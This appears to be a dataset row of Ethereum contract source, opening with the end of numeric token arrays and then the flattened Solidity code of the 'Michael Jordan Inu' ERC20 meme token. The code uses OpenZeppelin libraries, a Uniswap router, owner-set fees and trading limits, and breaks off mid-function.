1012,
1020,
1012,
2260,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1011,
2069,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,567 | 0x9559c502b035674c6049e72b98664496c61cec88 | // File: MichaelJordanInu.sol
// File: artifacts/MichaelJordanInu.sol
// File: MichaelJordanInu_flat.sol
// File: MichaelJordanInu.sol
// File: MichaelJordanInu.sol
// File: MichaelJordanInu.sol
// File: MichaelJordanInu.sol
// File: MichaelJordanInu.sol
// File: contracts/MichaelJordanInu.sol
/**
*/
// File: MichaelJordanInu.sol
// hevm: flattened sources of src
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
/* pragma solidity ^0.8.0; */
/* import "../utils/Context.sol"; */
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
/* pragma solidity ^0.8.0; */
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
////// src/
/* pragma solidity >=0.8.10; */
/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */
contract MichaelJordanInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Michael Jordan Inu", "MJI") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 6;
uint256 _buyLiquidityFee = 2;
uint256 _buyDevFee = 2;
uint256 _sellMarketingFee = 8;
uint256 _sellLiquidityFee = 2;
uint256 _sellDevFee = 2;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 20_000_000 * 1e18; // 100% from total supply maxTransactionAmountTxn
maxWallet = 40_000_000 * 1e18; // 200% from total supply maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0x4ae184434c94F2cc8A3e96A44de741494c2fcc25); // set as marketing wallet
devWallet = address(0xdee569a1277D25F8d1222bC37C2B4ae396492B4B); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 25, "Must keep fees at 25% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
